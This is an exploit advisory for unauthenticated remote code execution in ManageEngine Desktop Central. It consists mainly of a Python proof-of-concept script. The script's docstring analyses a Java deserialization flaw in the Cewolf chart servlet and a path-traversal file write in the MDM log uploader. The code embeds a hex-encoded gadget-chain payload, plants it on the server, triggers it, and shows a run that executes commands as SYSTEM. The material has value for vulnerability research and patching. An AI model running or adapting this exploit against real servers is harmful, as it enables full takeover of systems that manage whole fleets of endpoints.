ManageEngine Desktop Central FileStorage getChartImage Deserialization / Unauthenticated Remote Code Execution

2020.03.08
Credit: Mr_me
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-502

#!/usr/bin/python3 """ ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability Download: https://www.manageengine.com/products/desktop-central/download-free.html File ...: ManageEngine_DesktopCentral_64bit.exe SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826 Found by: mr_me Date ...: 2019-12-12 Class ..: CWE-502 CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ## Summary: An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root. ## Vulnerability Analysis: In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet. ``` <servlet> <servlet-name>CewolfServlet</servlet-name> <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class> <init-param> <param-name>debug</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>overliburl</param-name> <param-value>/js/overlib.js</param-value> </init-param> <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> ... <servlet-mapping> <servlet-name>CewolfServlet</servlet-name> <url-pattern>/cewolf/*</url-pattern> </servlet-mapping> ``` This servlet, contains the following code: ``` protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (debugged) { logRequest(request); } addHeaders(response); if ((request.getParameter("state") != null) || (!request.getParameterNames().hasMoreElements())) { requestState(response); return; } int width = 400; int height = 400; boolean removeAfterRendering = false; if (request.getParameter("removeAfterRendering") != null) { removeAfterRendering = true; } if (request.getParameter("width") != null) { width = Integer.parseInt(request.getParameter("width")); } if (request.getParameter("height") != null) { height = Integer.parseInt(request.getParameter("height")); } if (!renderingEnabled) { renderNotEnabled(response, 400, 50); return; } if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) { renderImageTooLarge(response, 400, 50); return; } String imgKey = request.getParameter("img"); // 1 if (imgKey == null) { logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height); return; } Storage storage = config.getStorage(); ChartImage chartImage = storage.getChartImage(imgKey, request); // 2 ``` At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file: ``` <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> ``` ``` public class FileStorage implements Storage { static final long serialVersionUID = -6342203760851077577L; String basePath = null; List stored = new ArrayList(); private boolean deleteOnExit = false; //... public void init(ServletContext servletContext) throws CewolfException { basePath = servletContext.getRealPath("/"); Configuration config = Configuration.getInstance(servletContext); deleteOnExit = "true".equalsIgnoreCase("" + (String) config.getParameters().get("FileStorage.deleteOnExit")); servletContext.log("FileStorage initialized, deleteOnExit=" + deleteOnExit); } //... private String getFileName(String id) { return basePath + "_chart" + id; // 4 } //... public ChartImage getChartImage(String id, HttpServletRequest request) { ChartImage res = null; ObjectInputStream ois = null; try { ois = new ObjectInputStream(new FileInputStream(getFileName(id))); // 3 res = (ChartImage) ois.readObject(); // 5 ois.close(); } catch (Exception ex) { ex.printStackTrace(); } finally { if (ois != null) { try { ois.close(); } catch (IOException ioex) { ioex.printStackTrace(); } } } return res; } ``` At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation. The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation. ## Exploitation: For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry: ``` <servlet> <servlet-name>MDMLogUploaderServlet</servlet-name> <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class> </servlet> ... <servlet-mapping> <servlet-name>MDMLogUploaderServlet</servlet-name> <url-pattern>/mdm/mdmLogUploader</url-pattern> <url-pattern>/mdm/client/v1/mdmLogUploader</url-pattern> </servlet-mapping> ``` ``` public class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet { private Logger logger = Logger.getLogger("MDMLogger"); private Long customerID; private String deviceName; private String domainName; private Long resourceID; private Integer platformType; private Long acceptedLogSize = Long.valueOf(314572800L); public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest) throws ServletException, IOException { Reader reader = null; PrintWriter printWriter = null; logger.log(Level.WARNING, "Received Log from agent"); Long nDataLength = Long.valueOf(request.getContentLength()); logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength); logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", acceptedLogSize); try { if (nDataLength.longValue() <= acceptedLogSize.longValue()) { String udid = request.getParameter("udid"); // 1 String platform = request.getParameter("platform"); String fileName = request.getParameter("filename"); // 2 HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid); if (deviceMap != null) { customerID = ((Long) deviceMap.get("CUSTOMER_ID")); deviceName = ((String) deviceMap.get("MANAGEDDEVICEEXTN.NAME")); domainName = ((String) deviceMap.get("DOMAIN_NETBIOS_NAME")); resourceID = ((Long) deviceMap.get("RESOURCE_ID")); platformType = ((Integer) deviceMap.get("PLATFORM_TYPE")); } else { customerID = Long.valueOf(0L); deviceName = "default"; domainName = "default"; } String baseDir = System.getProperty("server.home"); deviceName = removeInvalidCharactersInFileName(deviceName); String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + customerID + File.separator + deviceName + "_" + udid; // 3 File file = new File(localDirToStore); if (!file.exists()) { file.mkdirs(); // 4 } logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore}); fileName = fileName.toLowerCase(); if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z"))) { // 5 logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName); response.sendError(403, "Request Refused"); return; } String absoluteFileName = localDirToStore + File.separator + fileName; // 6 logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName}); InputStream in = null; FileOutputStream fout = null; try { in = request.getInputStream(); // 7 fout = new FileOutputStream(absoluteFileName); // 8 byte[] bytes = new byte['✐']; int i; while ((i = in.read(bytes)) != -1) { fout.write(bytes, 0, i); // 9 } fout.flush(); } catch (Exception e1) { e1.printStackTrace(); } finally { if (fout != null) { fout.close(); } if (in != null) { in.close(); } } SupportFileCreation supportFileCreation = SupportFileCreation.getInstance(); supportFileCreation.incrementMDMLogUploadCount(); JSONObject deviceDetails = new JSONObject(); deviceDetails.put("platformType", platformType); deviceDetails.put("dataId", resourceID); deviceDetails.put("dataValue", deviceName); supportFileCreation.removeDeviceFromList(deviceDetails); } else { logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}", nDataLength); response.sendError(403, "Request Refused"); return; } return; } catch (Exception e) { logger.log(Level.WARNING, "Exception ", e); } finally { if (reader != null) { try { reader.close(); } catch (Exception ex) { ex.fillInStackTrace(); } } } } ``` ``` private static boolean isContainDirectoryTraversal(String fileName) { if ((fileName.contains("/")) || (fileName.contains("\\"))) { return true; } return false; } //... public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) { if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName)) || (!isValidFileExtension(fileName, allowedFileExt))) { return true; } return false; } ``` We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions. Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file: ``` <init-param> <param-name>config-file</param-name> <param-value>security-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml</param-value> </init-param> ``` The file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this: ``` <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment" authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false"> <param name="platform" regex="ios|android"/> <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/> <param name="uuid" regex="safestring"/> <param name="udid" regex="udid"/> <param name="erid" type="long"/> <param name="authtoken" regex="apikey" secret="true"/> <param name="SCOPE" regex="scope" /> <param name="encapiKey" regex="encapiKey" max-len="200" /> <param name="initiatedBy" regex="safestring"/> <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/> </url> ``` Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename. ## Example: saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <cmd> (+) eg: ./poc.py 172.16.175.153 mspaint.exe saturn:~ mr_me$ ./poc.py 172.16.175.153 "cmd /c whoami > ../webapps/DesktopCentral/si.txt" (+) planted our serialized payload (+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt nt authority\system """ import os import sys import struct import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _get_payload(c): p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594" p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400" p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200" p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265" p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172" p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e" p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e" p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172" p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75" p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e" p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e" p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d" p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00" p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a" p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f" p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072" p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767" p += "db37020000787000000002757200025b42acf317f8060854e002000078700000" p += "069bcafebabe0000003200390a00030022070037070025070026010010736572" p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75" p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465" p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162" p += "6c655461626c6501000474686973010013537475625472616e736c6574506179" p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c" p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73" p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f" p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873" p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c" p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469" p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73" p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c" p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f" p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65" p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074" p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78" p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e" p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d" p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865" p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69" p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63" p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64" p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041" p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c" p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572" p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a" p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f" p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f" p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f" p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100" p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f" p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f" p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061" p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100" p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469" p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a" p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f" p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033" p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961" p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269" p += "616c2f50776e657237363332383835383532303630393b002100020003000100" p += "040001001a000500060001000700000002000800040001000a000b0001000c00" p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e" p += "000e0000000c000100000005000f003800000001001300140002000c0000003f" p += "0000000300000001b100000002000d00000006000100000033000e0000002000" p += "0300000001000f00380000000000010015001600010000000100170018000200" p += "19000000040001001a00010013001b0002000c000000490000000400000001b1" p += "00000002000d00000006000100000037000e0000002a000400000001000f0038" p += "00000000000100150016000100000001001c001d000200000001001e001f0003" p += "0019000000040001001a00080029000b0001000c00000024000300020000000f" p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020" p += "00000002002100110000000a000100020023001000097571007e0010000001d4" p += "cafebabe00000032001b0a000300150700170700180700190100107365726961" p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505" p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100" p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65" p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365" p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164" p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473" p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61" p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f" p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f" p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300" p += "2100020003000100040001001a00050006000100070000000200080001000100" p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000" p += "000600010000003b000e0000000c000100000005000f00120000000200130000" p += "0002001400110000000a000100020016001000097074000450776e7270770100" p += "7871007e000d78" obj = bytearray(bytes.fromhex(p)) obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694) obj[0x6e5:0x6e7] = struct.pack(">H", len(c)) start = obj[:0x6e7] end = obj[0x6e7:] return start + str.encode(c) + end def we_can_plant_serialized(t, c): # stage 1 - traversal file write primitive uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t p = { "udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart", "filename" : "logger.zip" } h = { "Content-Type" : "application/octet-stream" } d = _get_payload(c) r = requests.post(uri, params=p, data=d, verify=False) if r.status_code == 200: return True return False def we_can_execute_cmd(t): # stage 2 - deserialization uri = "https://%s:8383/cewolf/" % t p = { "img" : "\\logger.zip" } r = requests.get(uri, params=p, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print("(+) usage: %s <target> <cmd>" % sys.argv[0]) print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0]) sys.exit(1) t = sys.argv[1] c = sys.argv[2] if we_can_plant_serialized(t, c): print("(+) planted our serialized payload") if we_can_execute_cmd(t): print("(+) executed: %s" % c) if __name__ == "__main__": main()


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